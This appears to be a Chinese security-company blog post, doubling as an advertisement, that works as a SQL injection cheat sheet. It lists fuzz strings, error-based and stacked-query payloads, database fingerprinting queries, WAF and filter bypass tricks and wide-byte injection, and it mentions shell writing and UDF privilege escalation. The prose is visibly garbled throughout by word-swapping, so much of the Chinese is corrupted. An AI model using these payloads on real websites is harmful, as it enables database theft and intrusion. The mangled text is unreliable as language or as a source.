国庆行将到来,前一期讲到猎取网站信息揣摸所属环境以及各个端口的用途和弱口令暗码运用要领,这期仍有许多客户找到我们Sine平安想要相识针对于SQL注入进击的测试要领,这一期我们来说解下注入的进击分类和运用手段,让客户邃晓破绽是如何发作的,会给网站平安带来如何的影响!
3.1 SQL注入破绽
3.1.1. 注入分类
SQL注入是一种代码注入手艺,用于进击数据驱动的运用程序。在运用程序中,假如没有做适当的过滤,则能够使得歹意的SQL语句被插进去输入字段中实行(比方将数据库内容转储给进击者)。
3.1.1.1. 按技能分类
依据运用的技能,SQL注入范例可分为
盲注
布尔盲注:只能从运用返回中揣摸语句实行后的布尔值
时刻盲注:运用没有明白的回显,只能运用特定的时刻函数来揣摸
报错注入:运用会显现悉数或许部份的报错信息
堆叠注入:有的运用能够到场 ; 后一次实行多条语句
其他
3.1.1.2. 按猎取数据的体式格局分类
别的也能够依据猎取数据的体式格局分为3类
inband
运用Web运用来直接猎取数据
如报错注入
都是经由过程站点的相应或许毛病反应来提取数据
inference
经由过程Web的一些反应来揣摸数据
如布尔盲注和堆叠注入
也就是我们浅显的盲注,
经由过程web运用的其他改变来揣摸数据
out of band(OOB)
经由过程其他传输体式格局来取得数据,比方DNS剖析协媾和电子邮件
3.1.2. 注入检测
3.1.2.1. 罕见的注入点
GET/POST/PUT/DELETe参数
X-Forwarded-For
文件名
3.1.2.2. Fuzz注入点
' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
反引号实行
3.1.2.3. 测试用常量
@@version
@@servername
@@language
@@spid
3.1.2.4. 测试列数
比方 域名/index.asp?id=12+union+select+nulll,null-- ,不停增添 null 至不返回
3.1.2.5. 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
3.1.2.5.1. 基于geometric的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
个中须要注重的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已不再见效,详细能够参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中一样不再见效。
3.1.2.6. 堆叠注入
;select 1
3.1.2.7. 解释符
#
--+
3.1.2.8. 揣摸过滤划定规矩
是不是有trunc
是不是过滤某个字符
是不是过滤关键字
slash和编码
3.1.2.9. 猎取信息
揣摸数据库范例
and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库
揣摸数据库表
and exsits (select * from admin)
版本、主机名、用户名、库名
表和字段
肯定字段数(Order By Select Into)
表名、列名
3.1.2.10. 测试权限
文件操纵
读敏感文件
写shell
带外通道
收集要求
3.1.3. 权限提拔
3.1.3.1. UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL供应的一个功用,能够经由过程编写DLL扩大为MySQL增加新函数,扩大其功用。
当取得MySQL权限以后,即可经由过程这类体式格局上传自定义的扩大文件,从MySQL中实行体系敕令。
3.1.4. 数据库检测
3.1.4.1. MySQL
sleep sleep(1)
benchmark BENCHMARK(5000000, MD5('test'))
字符串衔接
SELECT 'a' 'b'
SELECT CONCAt('some','string')
version
SELECT @@version
SELECT version()
辨认用函数
connection_id()
last_insert_id()
row_count()
3.1.4.2. Oracle
字符串衔接
'a'||'oracle' --
SELECT CONCAt('some','string')
version
SELECT banner FROM v$version
SELECt banner FROM v$version WHERe rownum=1
3.1.4.3. SQLServer
WAITFOR WAITFOR DELAY '00:00:10';
SERVERNAME SELECT @@SERVERNAME
version SELECT @@version
字符串衔接
SELECT 'some'+'string'
常量
@@pack_received
@@rowcount
3.1.4.4. PostgreSQL
sleep pg_sleep(1)
3.1.5. 绕过技能
编码绕过
大小写
url编码
html编码
十六进制编码
unicode编码
解释
// -- -- + -- - # ;%00
内联解释用的更多,它有一个特征 /!**/ 只要MySQL能辨认
e.g. index.php?id=-1 1,2,3
只过滤了一次时
union => ununionion
雷同功用替代
函数替代
substring / mid / sub
ascii / hex / bin
benchmark / sleep
变量替代
user() / @@user
标记和关键字
and / &
or / |
HTTP参数
HTTP参数污染
id=1&id=2&id=3 依据容器差别会有差别的效果
HTTP支解注入
缓冲区溢出
一些C言语的WAF处置惩罚的字符串长度有限,超越某个长度后的payload能够不会被处置惩罚
二次注入有长度限定时,经由过程多句实行的要领改掉数据库该字段的长度绕过
3.1.6. SQL注入小技能
3.1.6.1. 宽字节注入
平常程序员用gbk编码做开辟的时刻,会用 set names 'gbk' 来设定,这句话等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
破绽发作的原因是实行了 set character_set_client = 'gbk'; 以后,mysql就会以为客户端传过来的数据是gbk编码的,从而运用gbk去解码,而mysql_real_escape是在解码前实行的。然则直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就以为提交的字符+%5c是gbk的一个字符,如许就发作破绽了。
处理的方法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操纵。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的衔接内里,就不会涌现这个问题了。第三种就是用pdo。假如时期想要渗入测试本身的网站平安性,能够联络专业的网站平安公司来处置惩罚处理,国内引荐Sinesafe,绿盟,启明星斗等等的网站平安公司,另有一些其他的编码技能,比方latin会弃掉无效的unicode,那末admin%32在代码内里不即是admin,在数据库比较会即是admin。